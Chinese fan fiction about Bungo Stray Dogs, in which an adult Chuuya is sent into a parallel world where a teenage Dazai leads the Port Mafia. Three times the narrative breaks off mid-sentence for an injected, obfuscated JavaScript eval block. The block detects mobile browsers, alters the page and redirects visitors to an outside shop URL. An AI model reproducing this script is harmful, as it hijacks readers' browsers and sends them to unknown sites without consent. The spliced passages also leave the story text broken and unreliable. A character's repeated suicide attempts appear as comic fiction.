《穿成太宰的伪幼驯染后中也破防了》 1. 二十七岁的干部 中也迷迷糊糊睁开眼的时候,床头的闹钟还没响,屏幕上淡淡的蓝色在视线内晃开,拼凑出五点半的字样。于是他放心地把头偏过去准备再睡会,手臂却习惯性地往身侧一捞。 空的。 困意瞬间少了一半。 “混蛋……说好出差两个月……”他叹了口气,把头在枕头里埋得更深,脑子里全是那个家伙离开的那天。 那人笑得贱兮兮的,搂着他的肩说什么很快回来不要想他以及会照顾好自己云云,却还是偷偷往口袋里塞了一卷绷带,真以为没人发现吗。 “中也会很想我吗?”绷带被收走的时候,太宰治就倚在门框上,抬手接过中也递过去的包,又漫不经心一问。 自己当时是怎么回答的?记不太清了,因为自己话还没说出口就被那人拉了过去,紧接着心脏砰砰直跳,气息交错间他近乎有些眩晕。 “走了哦,中也照顾好自己,我可不想回来看到倒在地上的中也……” 走就走了,话可真多。 中也被这些闪回弄得心烦意乱,翻了几个身后干脆刷一下坐起来,按掉了闹钟,盯着眼前的黑色出了神。说来也真是好笑,明明是已经二十七岁的人了,却比十几岁那会还容易失眠。那人不在的时候更甚。但这事决不能让太宰治那家伙知道,否则被恶心一顿是免不了的。 不算清醒的脑海里,太宰治的面孔和声音竟逐渐清晰起来,中也一阵摇头,仿佛这样就能摇散那人在自己意识里蹦迪的影像。但显然用处不大。 “下次出差说什么也要跟着……”终于,在静坐了快半小时后,中也下了床,想冲个冷水澡冷静一下。 但是心里乱,做什么就都是乱的,一时间他连自己家的卫生间在哪都搞混了,一路拍开好几盏灯才摸到地方,中途还被裤子绊了一跤。 一阵强劲的水声后,中也踢开了隔间的玻璃门,越过蒸腾的雾气,站在镜子前胡乱擦着头发,趁脑子清醒了点开始回顾最近港口Mafia的事。 既然怎么都改变不了太宰治给他带来的影响,就只好用工作来代偿。 最近港口Mafia和武装侦探社刚好有合作,昨天他才去了一趟武侦和江户川乱步整合线索。 他说了什么来着的…… “太宰君刚跟社长续了假期,可能还要晚点回来哦……中也君怕是要多等一会了……” 果然是个混蛋。 可是等等,他在想什么?这怎么回事,今天早上绕不开去了是吧? 眼角一阵抽搐,中也往脸上猛猛泼了一把水,把额前的碎发捋到后边,双手撑在洗手台前,透过附在玻璃上的一层薄雾端详着自己的面容。 黑眼圈好重,好像还有点要长痘的趋势…… 真烦,明明已经过了青春期的人了,一定是最近工作压力大…… 他强忍住内心的不快,抬起手去捞架子上的眼霜,不禁又想起来,那个混蛋买回来的时候为了恶心他,特地往下面放了一格,说什么便于他这身高够到。 开什么玩笑,自己早就不是那个时候的中也了,怎么可能…… 但这一手就是捞了个空,还狠狠撞上了一侧的墙,好疼。 中也嘴里飘过一串鸟语花香,可是在抬眼与墙对视的那一瞬,自己也是一愣。 那里根本就没有架子。 墙面平整如新,中也立马排除了自己睡懵了使用重力改造家居的可能性。 痛感这么真实,做梦的可能性也排除。 那是怎么回事,自己不是在家吗? 骤然清醒过来的中也想走出去找手机,一个快步却又差点被裤子绊到地上,他不耐烦地低头,面部表情却在看清楚脚下的场景后逐渐转为惊恐,最后定格在一丝绝望的不可置信。 裤子堆在脚踝,明显长了一大截。 那不就意味着…… 中也不死心,在找了几个比对,确认自己现在真的只有一米六……几之后,他有些绝望地坐在了沙发上。 沙发有点硬,不舒服。 借着通明的灯,他四处打量了一下房间,更加确信这略显诡异的布置和他十几岁那会的审美高度重合。 “我就说,还以为在镜子看到的小子是谁呢。”水滴顺着发梢滑落,中也望着裤子上的水印一时不知道该怎么办。 自己是怎么回到十七八岁这个时间节点的?该怎么回去?太宰治这会应该还在港口Mafia吧?他也回来了吗? 墙上的挂钟慢慢走向8点,中也接受现实,从衣柜里换了身衣服,拾起外套准备出门。不管怎样,先去上班。 可那该死的电话突然响了,中也面对略显陌生的操作界面笨拙地摆弄了一会,连来电人是谁都没看清就接通了电话。 “让哥哥等着弟弟吗,明明是中也你先提出来的见面,也是够嚣张的……” 这声音是……中也放下手机,屏幕上魏尔伦三个字赫然挺立,让他一时间不知道该怎么办。 他怎么不记得这会跟他老哥有接触? 他提出来见什么面?? 去哪里见面??? “最多再给你半小时,不然我不保证你今晚有家可回……我都要忙死了。” 中也提着外套的手紧了紧,在被魏尔伦骂和被魏尔伦炸了房子之间权衡了半秒钟,缓缓开口: “我马上到……是在xx咖啡馆是吗?” “……晚上别回家了。” 把帽子递给魏尔伦的时候,中也手不自觉地有些发颤。他和魏尔伦多久没见了?记不得。但有一件事他非常清楚,就是在自己十七八岁那个档口绝不会和魏尔伦有这样的交集,那会他几乎成天和太宰治他们混在一起,吵架斗搞,出去办事,然后办完了回来再吵架。 所以这边的时间线也不对。 “怎么不说话?找我谈事的呢?”魏尔伦神色平静地把帽子推回来,拿起咖啡杯抿了一口,顺手把额前一缕金色的碎发别到后面去。 中也接过帽子点点头,也拿起咖啡杯装模作样喝了起来,看似游刃有余的他实则内心早就已经苦得透心凉。 因为他来这的路上才完全想明白,自己不仅是矮了十厘米这么简单,他这会脑子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375148|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点关于这个平行世界的记忆都没有啊…… 姓名,中原中也;年龄,十七岁或者十八岁;职业,港口Mafia预备干部(会不会这里混得好已经成为干部了?)这就是他知道的全部信息。 这还怎么聊? 见对面久久不回话,魏尔伦透亮的眸子里闪出一丝不耐烦:“那个贼抓住了?之前不是说他异能不稳定,拿不住吗?” “啊……是。”中也吞吞吐吐,佯装镇定。 魏尔伦歪着头看了他一会,若有所思地点头:“那你那个搭档呢?之前说他不太对劲的,现在正常了没?” 中也眼睛一亮,搭档他可太熟悉了,一定指的是那个混蛋。但他又立马坐定,生怕被魏尔伦看出什么。虽然魏尔伦于他而言不是外人,但这个世界明显规则不同,不能轻举妄动。 “……反正有任务还是一起,多盯一段时间吧。” 魏尔伦搅了搅咖啡,往中也跟前靠了靠,眼里透出一丝不易察觉的狡黠:“好容易约到我,就谈这点事吗?黑眼圈又重了呢,应该早点来见你的……首领最近给你压力很大吗?” “就这样吧。”中也摆弄着帽檐,盯着咖啡里倒着的灯影不再出声。 魏尔伦也不再说话,专注喝着咖啡。 “我该走了……最近事情多,线索也乱,下次再谈吧。”两个人就这样对着属实尴尬,中也把咖啡一饮而尽后瞥了眼挂钟,给自己勉强找了个理由离开,末了还有些心虚地瞥了一眼正在垂眸回消息的魏尔伦。 “嗯,我再坐一会。有事联系。”魏尔伦那头好似很忙,只微微抬了抬头跟中也示意。中也便如释重负般拎起外套准备朝前台走。 “咖啡我请,跟哥哥出来哪能要弟弟掏钱”,魏尔伦把手机一翻叫住了他,抬头冲中也一笑:“中也,遇到解决不了的问题,也是可以来麻烦我的……别太辛苦了。” “好。” 中也对上魏尔伦的眼睛,一时说不出来什么感觉。他径直走出咖啡馆,环顾了一下四周街道,挑了一条还算熟悉的路就走了下去,一头橘发被横滨街头的晨风蓦地挑起,搅乱落下来的阳光。 他得赶紧回港口Mafia了,坐办公室也好,看资料也好,听工作汇报也好,最起码得先弄清楚现在是个什么状况。红叶姐那里应该说得过去,但首领那绝对得小心。自己还是自己没错,但多活了快十年,变的可能不是一点两点。 咖啡馆里的人来了又去,魏尔伦依旧坐在那,撑着头静静看着中也逐渐消失的背影,然后望着空荡的街角出了神,任由手机的提示音响了又响。 突然,手机界面一闪,而后开始轻振。魏尔伦一瞥,是一个来电。 他空出一只手接,另一只手搭在杯子上,眼底冰冷一片。 “对,我晚点再走……顺便想个办法让首领今天去一趟总部,越快越好。” 说着说着,魏尔伦脸上竟有了一抹笑意,仿佛能预想到他那弟弟即将做出的反应了。 “嗯,越快越好,有人已经在等他了。” “老规矩,别提我的名字。” 2. 见面了吗 港口Mafia总部,中也正坐在自己的办公桌前翻看着桌上的资料,眉头就没舒展过。 本来是想搞清现在世界线的一些情况,但这情况也太特殊了,他能做什么? 《关于港口Mafia作息时间调整一号文件》、《港口Mafia调休规则的意见收集100》、《关于本周日组织港口Mafia团建的通知》……一点有效的信息都没有,合着他在这里是半个HR吗?不负责出任务就负责对着电脑做表格了? 他扔开手上一堆纸,有些头疼地眯了眯眼睛:“我到底来这干嘛了……” 没有记忆,没有说明,来的路上太宰那个家伙也没出现……到底是什么天大的机缘巧合让他到了这个处处熟悉又处处陌生的时间线? 中也无语,中也愣住,中也有点烦躁。 暗红色的光晕在指尖范开,不一会儿却又自行灭了。 “应该是’书’吧……”中也揉了一把头发自言自语道。那段时间书的力量不太稳定,加之天人五衰一直有动作,他们便再次跟武装侦探社联手调查,太宰突然出差也是为了这个。 想来很有可能是有人干预了“书”,自己才受影响被送到了这里。那就不能轻举妄动,如果破坏了这个平行世界,自己有可能就回不去了。尽管现在对这里一无所知,但只要扮好这里“中也”的角色,再暗中调查,应该能查出回去的方法。 大致想清楚后,中也觉得应该先有所行动,与其在这对着一堆文件发呆,还不如出去走一圈,和红叶姐他们谈谈什么的,说不定会有更多信息。实在不行他就直接去找首领,问问欧森外是怎么想到给自己安排这些无足轻重的事的。 可是他帽子还没戴上,办公室的门就先一步被推开了,黑色风衣从门缝漏出的刹那,中也整个人似被击中了一般,在座位上顿了两秒。 那个……家伙…… 少年身形颀长,一身黑衣,脸上手上缠着绷带,有些恹恹的。他鸢色的眸子往中也那扫了一下,不执一语,而后抬脚踢上门,便自顾自走了过去。 “表格需要做这么久吗……听说你今天来还走错办公室了,真是差劲啊……” 果然,不管在哪个世界,语气总是那么欠揍啊……看着太宰治逐渐逼近,中也眼角抽了抽,生生按下了火力全开的冲动。 这不是自己那个时间线的太宰,还不清楚是什么成分呢,不要掉以轻心啊…… 中也不断提醒自己,但眼前人无论外貌、气场还是说话的语气,都跟十来年前十七八岁的太宰治一模一样……很难不带有回忆滤镜啊! 要说有什么不同,就是这会的太宰看起来比印象里的十几岁更加严肃,浑身上下散发出一种生人勿近夹杂着世界怎么还不毁灭的奇怪气场,让中也一时间连怼他的话都没法脱口而出。 “哎,我说中也啊”,太宰治在桌前站定,手撑着台面缓缓倾过身子,额前的碎发掩过绷带,也遮住了点另一只眸子里映出的犀利:“要是这点工作也做不好,你说我该拿你怎么办呢?” 不是,他什么意思?是不了解自己的实力还是怎么?堂堂重力使不在前线守护横滨,反而被安排在办公室敲表格,这些本就让中也觉得郁闷;太宰治这边突然到访,说的话还前言不搭后语,更是火上浇油,怎么能这样呢?! “你这个混蛋在说什么啊……”中也登时有点火大的前兆,他后槽牙紧了紧,一只手在桌下狠狠按着椅子把手才阻止自己像十几岁那样向太宰治开火。 忍住啊,这不是你那个搭档,在这个世界里的混蛋就交给另一个中也对付吧……现在当务之急是掩藏身份,尽快回去,不要…… 但还是好气啊,这家伙挑衅的眼神实在欠揍。 暗红的光晕在手边散开,撑在一边的太宰治脸上微微露出满意的表情,仿佛是在欣赏即将被他惹毛的中也。对,他怎么会害怕呢,毕竟只要他一碰,什么异能都不成威胁的。 要在办公室打一架吗…… “看什么看,不管首领派给我什么任务我都会做好的,你少管我。”中也叹了口气,抄过桌边的资料佯装看了起来,顺便把椅子蹬得离桌面远了一点。光圈瞬间烟消云散,他捋了捋头发,仿若无事发生。 二十七岁的中也早就锻炼出了收放自如的能力。跟太宰那个混蛋生活在一起,把对方惹毛的事常有,但他们从来不会真的置气。有时候中也自己表现出一点不在意,对方便也不会再在这个话题上逗留多久。这慢慢就变成了他们之间独有的默契。 但显然,这会只有十七八岁的太宰治没有达到目的,就有些意犹未尽,眼神中不可避免地流露出失望。 可是只有一瞬间。太宰治脸上的阴影一闪而过,转而又被某种情绪的微笑给填满,就是这笑吧,怎么看都有些不怀好意。 中也一时间没读懂。 这个少年的心思就算多给了中也十年,这会还是看不透。 “你刚刚说,不管首领给你派什么任务,都会做好,是吗?” “对。还有什么废话吗?” “没有”,太宰治手指在中也的帽檐上刮了几下,嘴角扯出点弧度,一双眼睛似笑非笑:“有这句话就够了,中也……首领会……非常高兴……听到你这句话的。” 他眼里闪着精光,语气不疾不徐,最后的尾音却带了钩子,挠得中也一阵不适。 “好了,马上要开会,红叶姐这会应该已经去了吧”,太宰治把帽子丢开,掸了掸手:“我要是红叶姐,不会容忍部下到得比自己晚哦……” 说罢,太宰治整了整披在肩上的外套,不屑地哼了一声,转身走出。 中也又好气又好笑,愣坐了一会后把手中的资料摔在桌上,望着天花板翻了个白眼:“十几岁的小子就是气人……” 如果不是被扔到这里,中也是想不到有朝一日还能再见到宿敌时候的太宰。不过有一说一,要是告诉十八岁的他以后的生活是什么样,他宁愿相信地球上重力会消失也不会相信自己以后的选择。 可惜这会的太宰治好像什么也不知道? 中也这时候的确还没从十来年的生活经验里跳出来,只是一味认人了,在和太宰治四目相对的那一刻就短暂忘了自己刚得出的结论——这里不是过去,而是另一个异世界,或许人都还在,但是所谓身份和即将要发生的事可能一点都不重合。 收拾好出门的重力使此刻还不知道,自己即将面临来到这个世界的第一份大礼。 Mafia总部会议室,中也推开门走进,听到声音的尾崎红叶抬了抬眼,又指了指身边的座位,示意中也坐在自己身边。 “小鬼,今天惹首领生气了?”尾崎红叶见在座的都在忙自己的事,便侧身状似不经意一问:“妾身希望自己的部下能跟大家和平相处呢,中也要注意哦。” 这里的环境对中也来说足够熟悉,于是进来不就便松弛了许多,但冷不丁听到红叶姐的话,他心立马又紧了起来:“红叶姐,你指的是……我没有啊。” 今天他才到总部打卡不久,一直在办公室翻看文件,除了某个入室抢劫挑衅他的混蛋他没跟任何人起冲突。难道是之前惹了什么祸好巧不巧在今天被发现了?那也太倒霉了吧。 看着红叶似笑非笑的眼睛,中也把头埋在掌心,缓缓吐出一句:“真麻烦……”红叶听罢一笑,托着头继续闭目养神。 几米外,中也真正的麻烦这会正站在会议室门口,对着手机面色阴沉。今天上午太宰治接到一通匿名电话,说让他赶紧回一趟总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375149|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部。 且不说他上午其实很忙,擂钵街这两天一片狼藉;能把电话直接打进来找到他,这人还真有本事。对方声音一听就是修音过了头,汇报的事情也很简单,中也出事了。 结果呢,出什么事?一大早没睡醒一样冲进总部,认错办公室,又在厕所门口踩空楼梯,被广津柳浪扶起来之后鞠了一躬,不知道问了什么问题把老人当场吓出病晕倒在地,然后就是给他发过去的表格一点没做……太宰治感觉自己被耍了。 太宰治瞄了一眼时间,按灭了手机。 墙上的挂钟滴滴答答地走,中也盯着对面的空位出了神。不是说准时开会吗,太宰那个家伙自己怎么还迟到。桌头那的位置也空着,首领也没到场,但在座的好似一点也不着急。 尾崎红叶依旧闭目养神,广津柳浪兀自擦拭眼镜,默不作声;立原道造正玩着一把金属小刀,不时瞥一眼门口而后我行我素。很奇怪,总感觉少了什么人呢。 紧闭许久的门终于开了,室内的一众人除了中也,都立马收了神色屏息凝神,红叶轻咳一声提醒中也,可惜对方没甚在意。 看到太宰的身影出现在门口,中也直接把头偏了过去。刹那间的动作被太宰治尽收眼底,但他只是外头一笑,亦没说话。 为什么太宰治一进来就都这副反应,他确实是疯了点,但也不至于吧。中也抬头,却惊讶地发现自己对面那唯一的空位目前还是没人坐,而余光瞥到前方的空隙,这会已经有人了。 于是中也有些绝望地抬头,就发现太宰治坐在首领的位置上,褪下的外套搭在椅背上。他漫不经心地摆弄着手上的绷带,在注意到中也的目光后撩起眼睛与他对视。 目光交汇的一瞬,中也宕机。 他彻底怀疑这世界的真实性了,这个混蛋怎么能是首领呢?!! 他现在不仅是毫无用处的HR,还是这个家伙的部下?让他给太宰治打工,开什么玩笑?! “中也不应该是我的狗吗……”某人坏笑的面容浮现,恍如昨日。 尾崎红叶注意到了中也的反常,趁太宰没注意这边转头对中也一笑: “妾身提醒过的,祝你好运,中也……” 虽然中也反常的原因可能跟红叶预想的不太一样,但前辈的关心实在是到位了。中也偏头,对红叶挤出一丝微笑,按在桌下的手泛出一小圈光晕。 几乎同时,总部外没人的空地上,一处小山丘突然蹦开,碎石四溅。不过距离过远,在场的各位都没听见。 会议进行得倒是很快,结束后中也最后一个走出,就差扶墙晕倒。 “中也啊。” 过于熟悉的声音给了他一激灵,中也很心累地发现首领太宰竟然还没离开,就倚在墙边等他。青年碎发遮面,看不清表情,长长的黑风衣搭在他手臂上,和脱节的绷带缠在一起。 “不管首领交给我什么事,都会做好……这话可是你自己说的。” 太宰治借着墙起身,整了整面上的绷带,嘴角一歪:“别让首领失望。” …… “可恶可恶可恶……”中也不知道以什么心情走回了办公室,脑子里全是太宰治扭曲的微笑和犯贱的语气,连在会议上捕捉到的信息这会都暂时被放在了后面等待处理。跟着这个混蛋,港口Mafia还有没有未来了,横滨还有没有未来了? 中也一边发牢骚一边拧开门把手,却在站定的一刻怀疑起自己今天还有没有顺利下班的可能了。 魏尔伦见他回来,从办公桌旁缓缓转身,打了个响指。 身后的门即刻关好上锁,等中也回头,魏尔伦的手上早多了一把枪,漆黑的洞口直指他的脑门。 “开会需要这么久吗,你又让我等你了啊中也。” 3. 双方的顾虑 武装侦探社,江户川乱步倚在办公椅上,嘴里叼着根棒棒糖。糖甜不甜他不知道,反正他这会心情是难得的糟糕。 “三,二,一……”乱步叹了一口气,开始无奈地倒数,当“一”这一声稳稳落地,武装侦探社的门被狠狠从外面推开,国木田独步喘着气倚在门框上,手里拎着散页的《理想国》。 “乱步!”国木田抹把额头,语气很是紧张:“港口Mafia来电问太宰治回来了没,说约好的交换信息的日子到了!” “啊啊”,乱步推了一下眼镜,咬了一口糖,但没咬碎:“不是说好了太宰君续了假期的吗,就这么说就好了。” “可是……”国木田咬咬牙,眉头紧皱:“可是他们一个部队已经到楼下了,说务必要知道下一步的行动,不然他们不好安排人手。” 啪的一声,乱步嘴里的糖碎了,他坐正了些,扶了扶眼镜。 广津柳浪看了看表,十分钟。国木田那个家伙上去已经十分钟了。“肯定又是找那个侦探去了吧,太宰没回来,保不准他们也联系不上……”立原收起金属小刀,拱了一下广津柳浪的肩:“看来首领的怀疑是对的,不知道这个太宰在想什么。” “不知道。”广津柳浪“啧”了一声,继续计时。十一分钟了。最近港口Mafia出了点状况,但之前和武装侦探社商量好的合作还得继续。监测到的能量场越来越不稳定,但武装侦探社这里迟迟又没有消息,早就有人按捺不住了,加之前两天一个意外,首领森鸥外才派他今日来一探虚实。 他们倒不是怀疑武装侦探社食言或者终止合作,只是太宰治那个家伙迟迟没有消息,森鸥外有理由怀疑他在憋个大的。 “十二……十三。” “广津先生”,国木田在他们面前站定,手中攥着已经整理平顺的《理想国》:“太宰治还在休假,行踪不定,乱步先生刚才正在和他联系,目前我们也没有新的进展,有什么新消息会第一时间通知,今天请回吧。” 广津柳浪收起了表,若有所思地点点头,立原道造见状把小刀插回口袋,继续侧着身端详情况。 “除了之前送来的情报,Mafia这边也没有新的消息。今天贸然来访,抱歉”,广津柳浪理理袖口,似乎准备离开了:“主要是我们都很关心横滨的未来,想必你们也是,希望我们这次合作愉快。” 说罢,一行人准备撤离,但站在一旁的国木田独步突然开了口:“诸位,留步。” 立原道造最先回头,就看见那家伙的眼镜反了光,看不清脸上的神情,但往那一站似乎对自己接下来要说的话很有把握:“替我们向中也先生带好。上次他来,听闻太宰治续假的消息后貌似心情很差,不知现在如何?” 广津柳浪背对着他,听闻立马感觉背上被什么人砸了一下,神经牵连到眼角,突突地疼。立原道造则呵呵了一声,往前挪了两步,把广津柳浪转了回去,正面对准国木田。 “喂,老爷子,这话我不会接。” 广津柳浪心说我会接吗,这两个家伙在一起都快十年了,遇到点事还是这样,偏偏每次担任传话筒的都是他们,夹在中间怪难受的。 “啊,他们是这样说的啊。”楼上,乱步给国木田倒了杯水,静静听他说完。 “对,说中也现在看上去一切正常……但再拖下去不知道会发生什么。”国木田把水一饮而尽,而后有点苦恼地抱住了头。 这时,与谢野晶子敲了敲门,他立马像看到了救星般投去期盼的目光,但被对方直接驳回。 “没用的,是平常的受伤我还能想办法,看样子他的灵魂都不在这”,与谢野晶子接过乱步递过去的水接着说:“看样子只能找法师了。” “真的没办法了吗?”国木田独步这会后背发凉,一股淡淡的绝望从上而下遍布全身。距离太宰治出差回来并突然倒地不起已经过了将近半个月,不论他们怎么排查,与谢野晶子怎么努力,就是找不到他昏倒的原因。上次中也来送情报,差一点就撞见躺在床上双目紧闭的太宰治了。 他那会甚至已经做好了再次和重力亲密拥抱的觉悟,毕竟上次太宰跟他出任务意外受伤,这位重力使隔天就笑眯眯地找上门,以家属的身份跟他商量医药费等事宜,末了还附赠重力体验N件套。虽不致命也不致伤,但实在可怕,不想再来。 这会太宰治回来后直接一卧不起,他们还谎称续了假期,万一被发现…… “好啦国木田”,乱步收了茶杯,抚上国木田的肩:“太宰会没事的,估计是被书送到某个平行时空了,这回应该也在想办法回来呢。” 国木田机械地转头,眼神复杂。一旁的与谢野晶子点头表示赞同:“目前看来这是比较科学的解释了,希望是能量不稳定的随机事件,而不是有人刻意为之。” 乱步笑着摇头,安慰他不用多虑,却在转身时摘了眼镜,眼中闪过一丝凝重。 看样子,不知他们这边遇到了这种情况呢。 …… “怎么样,有太宰先生的下落了吗?”黑蜥蜴一行人刚回来,就被芥川龙之介堵在门口盘问:“太宰先生没事吧?” “哎哎,别激动”,广津柳浪还没缓过来,但又挡不住芥川热切的目光,便把得到的信息挑挑拣拣先说了,好让这小子放下心。看着芥川走远,他才抹了把汗,转而走去首领办公室。 森鸥外今天心情也不好,办公室气压低低的。爱丽丝坐在沙发上无聊地晃着脚,不时瞥一下正在交谈的二人。 “所以,他们没发现吧?” “没有,任何有关中也昏倒不醒的消息都没有走漏,他们应该不知道。” 森鸥外点点头,但看到传送过来的影像立马又眉头紧皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375150|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。画面中,橘色头发的青年正安静地躺着,面无表情,但仪器显示生命体征完全正常。 “灵魂出窍吗?已经好几天了……这事千万不能让武装侦探社知道,尤其不能让太宰治知道……”森鸥外关了屏幕,低声自语,一旁的广津柳浪不禁也汗颜。 作为横滨这么多年的重力使兼港口Mafia最强战力之一,他们从来不担心中原中也出任务,当然仅限于他和太宰的关系演变到如今地步之前。 森鸥外清楚地记得上次,中也在欧洲出任务受了伤,他在家躺了多久,Mafia总部的异能就被随机无效化了多久。那段时间他几乎日日提心吊胆,就怕跟爱丽丝聊得正开心,旁边突然闪出太宰治阴森的脸。 “森先生似乎很开心呢,但是我们家中也还躺在床上不能自理,当首领的说说怎么办呢?” 于是他只能眼睁睁看着爱丽丝被异能无效化。一回两回无数回…… 还有上上次,中也在总部门口摔了一跤,当天下午那里就被夷为平地;还有上上上次…… 这个家伙,越来越不像话,合着除了中也,是一点也不念旧情。不过话又说回来,他们之间,也谈不上什么交情了…… “咳咳,首领。”广津柳浪的声音把森鸥外拉回现实。他盯着漆黑的屏幕叹了口气,盘算了下时间,还是决定再开一次紧急会议,和大家商量对策。在这个节骨眼少了一位核心干部,如果后面情况紧急,他们或许要摇人了。 “总之,这事先不能……绝对不能让太宰治知道!”森鸥外仿佛下定了某种决心,开始自言自语;爱丽丝见状一笑,无奈摇了摇头。 这么多年了,双黑还是无人能打。 于是针对这两位横滨特殊人物突然的灵魂出窍,Mafia和武装侦探社难得默契地选择了隐瞒。瞒着对方,瞒着对方的某个人。当然,如果他们互通一下消息,这个警报或许也不用拉得这么响,只是他们都太清楚那两位以前疯成什么样,尤其是在面对对方的事的时候,所以谁都不敢先迈出透露风声的那一步。 “如果他们被送到同一个地方,事情会变得容易些吗?”下班的乱步走在街上,脑子里又盘了一遍太宰治最后一次送来的消息,确认没有细节遗漏后又想到了这件事。 “会变得更麻烦吧……在其他世界,双黑还是搭档吗?” 月光漏在中区街道,交织着路灯的柔黄,映得地面发亮。乱步停了下来,抬头对上今夜的上弦月:“又快一个月了呢,太宰还会续假吗……” 突然,他余光瞥到面前有什么东西一闪而过,等他凝神看过去的时候,只有角落里路灯拖出来的剪影。 但就算被灯影拉长,乱步也一眼认出那是一只胖胖的浣熊。 似乎注意到他的目光,影子一爬一跳就窜出去了。乱步没有意外,只推了推眼镜便跟了上去。 4. 乱来的首领 不明黑色物体从窗口略过的时候,中也正在办公桌前拼命敲打键盘。可恶的报表一个接着一个,他刚把港口Mafia的作息表拟好,就看见太宰的风衣在办公室的窗外呼啦啦地朝他招手。 转瞬即逝。 完美的自由落体。 事发突然,他还没想明白怎么回事,但他的重力已经替他做了选择。 断断续续的人声传进来,中也回过神,立马踩着椅子直接跃到了窗台,一脚踢开玻璃窗俯身向下看去,重力的淡红光晕还在手边没有消散。 “喂,你想干嘛!” 窗下,被重力拖住的太宰治正仰着头,在半空跟中也对望,面无表情。黑色的风衣先他一步掉了下去,被楼下早有准备的Mafia员工接住了。 他双手枕在脑后,似乎还挺享受这个姿势;脸上的绷带被风吹得有点散,他也无心整理,鸢色的眸子里没有光泽,就只是直勾勾盯着从窗口探出来的中也。 风好大。在楼下准备好安全气垫的Mafia员工全都仰着头,看着自家首领被自家HR用重力吊在半空,一时谁都不知道怎么办。 仰头久了,脖子好酸。首领还好吗?不太清楚。气垫要撤掉吗?还是别了,万一隔一会再跳呢。说不定还要多准备几处,他今天好像没试够。 其实他们早就习惯了新首领那不定时的自.杀行为,今天跳跳楼,明天喝喝不明化学试剂,再过几天说不定在办公室准备点麻绳吊饰…… 奇葩是奇葩了点,但首领压力大嘛,能理解,每天都顶着一张恹恹的脸,阴沉得怪吓人的。少年人嘛,玩的花很正常。 但为了防止首领哪天真的玩脱了,Mafia的员工还是尽责地随时准备着,于是乎太宰治的计划每次都在最后一刻落了空。 但他也没其他反应,只是我行我素。Mafia的员工便也是我行我素地善后。 但今天的情况让Mafia的同事们有些吃惊,因为中也从来没有拦着太宰首领去做这些危险系数报表的事,甚至有时候还会在拒绝他们的善后计划时,发表“这个青花鱼怎么还不滚蛋”的危险言论。 难不成是前些日子突然被调过去做HR,对老板因恨生爱,疯了吧? 底下人窃窃私语,暂时任由首领被悬在半空吹风。 大楼中央,见太宰治没有回应,甚至还不屑地继续盯着他,中也的眼神由担心逐渐转为愤怒:“你这个混蛋,知道这是几楼吗?” 他不是没看到底下的应援,但万一来不及呢?要是晚一步他可能都救不下来。这小子当了首领之后这么疯吗? 太宰看着中也那着急样,心中一顿,但只是耸肩一笑,张口说了句什么,依旧面无表情。 绷带狂舞,把话音都打散了,中也只好眯着眼通过口型判断太宰治说的话。 “多……多管闲事?!” 中也心里没来由地冒火,五味杂陈,却还是没忘了先用重力把太宰治运上来。 而就当他想把人塞进室内时,太宰治趁他没注意握住了他的手腕,嘴角的笑带着嘲讽和挑衅: “中也啊,还是赶紧滚去做表格吧……” 中也一下就被点燃了,可他还没来得及做出下一步反应,面前的人就已经挣脱了重力的束缚。 他只能眼睁睁看着太宰歪头一笑,张开双臂继续坠落,周身绷带乱飞。 楼底下走神的员工也算得上身经百战,见状立马在转瞬间计算好了落点准备接机。 中也只能挂在窗台,看着那家伙变成一个小黑点,在垫子上弹了几下,又若无其事地走开,心里烦得快炸了。 乱来,简直是乱来!谁爱管谁管吧,以后就算太宰在他面前用脖子荡秋千他都当没看见! 中也摔上窗户,深吸了几口气才平静了点。 这天剩下的时间,他一直坐在电脑前,泄愤般把欠下的所有表格都敲完了,按照要求逐份打印好后,见时间还早便径直去找了尾崎红叶。 虽然中也不知道十八岁的他犯了什么天条,怎么就沦落为了HR,但他还是红叶的部下,对接工作自然也是找她。 “效率挺高啊”,尾崎红叶翻看了下表格,满意地点点头,看向中也的眼神里却不自觉地带了点坏笑:“小鬼,今天还英雄救美了?总部可都传开了,都来问妾身平日怎么带的你……” 红叶捋了一下头发,把表格交还给中也:“你刚上任新岗位不久,妾身还是得提醒一下,收收脾气……首领那边……不好说。” “现在你还跟着我,但后面怎么样,都是首领一句话的事。” 中也心说原来是刚沦落至此,自己好不容易回到战力最强的年纪,却好巧不巧碰上这……肯定是太宰故意整他。 但话都说到这份上了,红叶姐这是在旁敲侧击让自己不要惹太宰治呢。可那家伙自己那样胡来……真是。 他勉强笑了笑,抬手拿过文件,但红叶还没松手:“对了,首领说这次你做的资料要给他送过去,他亲自……检查。” 